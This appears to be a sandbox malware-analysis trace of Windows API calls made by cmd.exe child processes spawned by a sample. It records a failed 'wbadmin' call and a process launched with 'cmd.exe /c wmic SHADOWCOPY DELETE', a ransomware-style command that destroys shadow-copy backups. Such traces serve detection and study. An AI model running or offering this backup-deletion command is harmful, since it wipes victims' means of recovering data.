GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2cf4d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.119] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2cf4d8, lpFilePart=0x2cf4d4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cf4d4*="Desktop") returned 0x25 [0034.119] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0034.119] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2cf254 | out: lpFindFileData=0x2cf254*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x461f00 [0034.213] FindClose (in: hFindFile=0x461f00 | out: hFindFile=0x461f00) returned 1 [0034.213] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2cf254 | out: lpFindFileData=0x2cf254*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x461f00 [0034.213] FindClose (in: hFindFile=0x461f00 | out: hFindFile=0x461f00) returned 1 [0034.213] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0034.213] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2cf254 | out: lpFindFileData=0x2cf254*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3870e600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3870e600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x461f00 [0034.214] FindClose (in: hFindFile=0x461f00 | out: hFindFile=0x461f00) returned 1 [0034.214] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0034.214] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0034.214] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0034.214] GetProcessHeap () returned 0x450000 [0034.214] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464bf8 | out: hHeap=0x450000) returned 1 [0034.214] GetEnvironmentStringsW () returned 0x464108* [0034.214] GetProcessHeap () returned 0x450000 [0034.214] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb36) returned 0x465f48 [0034.214] FreeEnvironmentStringsW (penv=0x464108) returned 1 [0034.214] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a255260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0034.214] GetProcessHeap () returned 0x450000 [0034.214] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4656e8 | out: hHeap=0x450000) returned 1 [0034.214] GetProcessHeap () returned 0x450000 [0034.214] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400e) returned 0x466a88 [0034.215] GetProcessHeap () returned 0x450000 [0034.215] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x6e) returned 0x462dd8 [0034.215] GetProcessHeap () returned 0x450000 [0034.215] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466a88 | out: hHeap=0x450000) returned 1 [0034.215] GetConsoleOutputCP () returned 0x1b5 [0034.215] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0034.215] GetUserDefaultLCID () returned 0x409 [0034.216] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a254950, cchData=8 | out: lpLCData=":") returned 2 [0034.216] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2cf618, cchData=128 | out: lpLCData="0") returned 2 [0034.216] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2cf618, cchData=128 | out: lpLCData="0") returned 2 [0034.216] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2cf618, cchData=128 | out: lpLCData="1") returned 2 [0034.216] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a254940, cchData=8 | out: lpLCData="/") returned 2 [0034.216] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a254d80, cchData=32 | out: lpLCData="Mon") returned 4 [0034.217] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a254d40, cchData=32 | out: lpLCData="Tue") returned 4 [0034.217] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a254d00, cchData=32 | out: lpLCData="Wed") returned 4 [0034.217] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a254cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0034.217] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a254c80, cchData=32 | out: lpLCData="Fri") returned 4 [0034.217] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a254c40, cchData=32 | out: lpLCData="Sat") returned 4 [0034.217] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a254c00, cchData=32 | out: lpLCData="Sun") returned 4 [0034.217] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a254930, cchData=8 | out: lpLCData=".") returned 2 [0034.217] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a254920, cchData=8 | out: lpLCData=",") returned 2 [0034.217] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0034.218] GetProcessHeap () returned 0x450000 [0034.218] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20c) returned 0x462e50 [0034.218] GetConsoleTitleW (in: lpConsoleTitle=0x462e50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0034.218] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0034.218] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0034.218] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0034.218] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0034.219] GetProcessHeap () returned 0x450000 [0034.219] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x466a88 [0034.219] GetProcessHeap () returned 0x450000 [0034.219] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466a88 | out: hHeap=0x450000) returned 1 [0034.219] _wcsicmp (_String1="wbadmin", _String2=")") returned 78 [0034.219] _wcsicmp (_String1="FOR", _String2="wbadmin") returned -17 [0034.219] _wcsicmp (_String1="FOR/?", _String2="wbadmin") returned -17 [0034.219] _wcsicmp (_String1="IF", _String2="wbadmin") returned -14 [0034.219] _wcsicmp (_String1="IF/?", _String2="wbadmin") returned -14 [0034.219] _wcsicmp (_String1="REM", _String2="wbadmin") returned -5 [0034.219] _wcsicmp (_String1="REM/?", _String2="wbadmin") returned -5 [0034.219] GetProcessHeap () returned 0x450000 [0034.219] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x58) returned 0x463068 [0034.220] GetProcessHeap () returned 0x450000 [0034.220] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x18) returned 0x4630c8 [0034.220] GetProcessHeap () returned 0x450000 [0034.220] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x5c) returned 0x4630e8 [0034.221] GetConsoleTitleW (in: lpConsoleTitle=0x2cf310, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0034.221] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0034.221] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0034.221] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0034.222] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0034.222] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0034.222] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0034.222] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0034.222] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0034.222] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0034.222] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0034.222] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0034.222] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0034.222] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0034.222] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0034.222] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0034.222] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0034.222] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0034.222] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0034.222] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0034.222] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0034.222] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0034.222] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0034.222] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0034.222] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0034.222] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0034.222] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0034.222] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0034.222] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0034.222] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0034.222] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0034.222] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0034.222] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0034.222] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0034.222] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0034.222] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0034.222] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0034.222] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0034.222] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0034.222] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0034.222] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0034.222] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0034.222] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0034.223] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0034.223] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0034.223] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0034.223] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0034.223] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0034.223] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0034.223] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0034.223] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0034.223] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0034.223] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0034.223] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0034.223] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0034.223] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0034.223] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0034.223] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0034.223] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0034.223] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0034.223] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0034.223] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0034.223] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0034.223] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0034.223] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0034.223] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0034.223] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0034.223] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0034.223] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0034.223] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0034.223] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0034.223] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0034.223] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0034.223] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0034.223] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0034.223] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0034.223] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0034.223] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0034.223] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0034.223] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0034.224] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0034.224] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0034.224] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0034.224] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0034.224] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0034.224] _wcsicmp (_String1="wbadmin", _String2="FOR") returned 17 [0034.224] _wcsicmp (_String1="wbadmin", _String2="IF") returned 14 [0034.224] _wcsicmp (_String1="wbadmin", _String2="REM") returned 5 [0034.224] GetProcessHeap () returned 0x450000 [0034.224] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x210) returned 0x463150 [0034.224] GetProcessHeap () returned 0x450000 [0034.224] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x6c) returned 0x463368 [0034.224] _wcsnicmp (_String1="wbad", _String2="cmd ", _MaxCount=0x4) returned 20 [0034.224] GetProcessHeap () returned 0x450000 [0034.224] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x418) returned 0x4507f0 [0034.224] SetErrorMode (uMode=0x0) returned 0x0 [0034.224] SetErrorMode (uMode=0x1) returned 0x0 [0034.225] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4507f8, lpFilePart=0x2cee30 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cee30*="Desktop") returned 0x25 [0034.225] SetErrorMode (uMode=0x0) returned 0x1 [0034.225] GetProcessHeap () returned 0x450000 [0034.225] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4507f0, Size=0x64) returned 0x4507f0 [0034.225] GetProcessHeap () returned 0x450000 [0034.225] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4507f0) returned 0x64 [0034.225] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0034.225] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0034.225] GetProcessHeap () returned 0x450000 [0034.225] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x120) returned 0x4633e0 [0034.225] GetProcessHeap () returned 0x450000 [0034.225] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x238) returned 0x450860 [0034.231] GetProcessHeap () returned 0x450000 [0034.231] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x450860, Size=0x122) returned 0x450860 [0034.231] GetProcessHeap () returned 0x450000 [0034.231] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x450860) returned 0x122 [0034.231] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0034.231] GetProcessHeap () returned 0x450000 [0034.231] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe0) returned 0x463508 [0034.231] GetProcessHeap () returned 0x450000 [0034.231] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x463508, Size=0x76) returned 0x463508 [0034.231] GetProcessHeap () returned 0x450000 [0034.231] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x463508) returned 0x76 [0034.232] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.232] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2cebac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cebac) returned 0xffffffff [0034.232] GetLastError () returned 0x2 [0034.232] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x2cebac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cebac) returned 0xffffffff [0034.232] GetLastError () returned 0x2 [0034.232] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.233] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2cebac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cebac) returned 0xffffffff [0034.233] GetLastError () returned 0x2 [0034.233] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x2cebac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cebac) returned 0xffffffff [0034.233] GetLastError () returned 0x2 [0034.233] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.233] FindFirstFileExW (in: lpFileName="C:\\Windows\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2cebac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cebac) returned 0xffffffff [0034.233] GetLastError () returned 0x2 [0034.233] FindFirstFileExW (in: lpFileName="C:\\Windows\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x2cebac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cebac) returned 0xffffffff [0034.233] GetLastError () returned 0x2 [0034.233] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.233] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2cebac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cebac) returned 0xffffffff [0034.235] GetLastError () returned 0x2 [0034.235] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x2cebac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cebac) returned 0xffffffff [0034.236] GetLastError () returned 0x2 [0034.236] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0034.236] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2cebac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cebac) returned 0xffffffff [0034.239] GetLastError () returned 0x2 [0034.239] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x2cebac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cebac) returned 0xffffffff [0034.240] GetLastError () returned 0x2 [0034.241] _get_osfhandle (_FileHandle=2) returned 0xb [0034.241] GetFileType (hFile=0xb) returned 0x2 [0034.241] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0034.241] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x2cf000 | out: lpMode=0x2cf000) returned 1 [0034.241] _get_osfhandle (_FileHandle=2) returned 0xb [0034.241] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x2cf034 | out: lpConsoleScreenBufferInfo=0x2cf034) returned 1 [0034.241] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a264640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0034.242] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a264640, nSize=0x2000, Arguments=0x2cf074 | out: lpBuffer="'wbadmin' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0034.242] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a264640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x2cf058, lpReserved=0x0 | out: lpBuffer=0x4a264640*, lpNumberOfCharsWritten=0x2cf058*=0x62) returned 1 [0034.242] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.242] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0034.243] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.243] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2541ac | out: lpMode=0x4a2541ac) returned 1 [0034.243] _get_osfhandle (_FileHandle=0) returned 0x3 [0034.243] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2541b0 | out: lpMode=0x4a2541b0) returned 1 [0034.243] SetConsoleInputExeNameW () returned 0x1 [0034.243] GetConsoleOutputCP () returned 0x1b5 [0034.243] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0034.243] SetThreadUILanguage (LangId=0x0) returned 0x409 [0034.243] exit (_Code=1) Process: id = "9" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x31d7f000" os_pid = "0x898" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x35c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c wmic SHADOWCOPY DELETE" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 30 os_tid = 0x8a8 [0034.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20feac | out: lpSystemTimeAsFileTime=0x20feac*(dwLowDateTime=0x38d4dfc0, dwHighDateTime=0x1d5ddc0)) [0034.091] GetCurrentProcessId () returned 0x898 [0034.091] GetCurrentThreadId () returned 0x8a8 [0034.091] GetTickCount () returned 0x1152c5e [0034.091] QueryPerformanceCounter (in: lpPerformanceCount=0x20fea4 | out: lpPerformanceCount=0x20fea4*=17585711767) returned 1 [0034.092] GetModuleHandleA (lpModuleName=0x0) returned 0x4a230000 [0034.092] __set_app_type (_Type=0x1) [0034.092] __p__fmode () returned 0x76be31f4 [0034.092] __p__commode () returned 0x76be31fc [0034.092] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2521a6) returned 0x0 [0034.092] __getmainargs (in: _Argc=0x4a254238, _Argv=0x4a254240, _Env=0x4a25423c, _DoWildCard=0, _StartInfo=0x4a254140 | out: _Argc=0x4a254238, _Argv=0x4a254240, _Env=0x4a25423c) returned 0 [0034.092] GetCurrentThreadId () returned 0x8a8 [0034.092] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8a8) returned 0x60 [0034.093] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0034.093] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0034.093] SetThreadUILanguage (LangId=0x0) returned 0x409 [0034.105] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0034.105] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x20fe3c | out: phkResult=0x20fe3c*=0x0) returned 0x2 [0034.105] VirtualQuery (in: lpAddress=0x20fe73, lpBuffer=0x20fe0c, dwLength=0x1c | out: lpBuffer=0x20fe0c*(BaseAddress=0x20f000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0034.105] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x20fe0c, dwLength=0x1c | out: lpBuffer=0x20fe0c*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0034.105] VirtualQuery (in: lpAddress=0x111000, lpBuffer=0x20fe0c, dwLength=0x1c | out: lpBuffer=0x20fe0c*(BaseAddress=0x111000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0034.105] VirtualQuery (in: lpAddress=0x113000, lpBuffer=0x20fe0c, dwLength=0x1c | out: lpBuffer=0x20fe0c*(BaseAddress=0x113000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0034.105] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x20fe0c, dwLength=0x1c | out: lpBuffer=0x20fe0c*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x39000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0034.106] GetConsoleOutputCP () returned 0x1b5 [0034.106] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0034.106] SetConsoleCtrlHandler (HandlerRoutine=0x4a24e72a, Add=1) returned 1 [0034.106] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.107] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0034.107] _get_osfhandle (_FileHandle=1) returned 0x7 [0034.107] GetConsoleMode (in: hConsoleHandle=0x7, 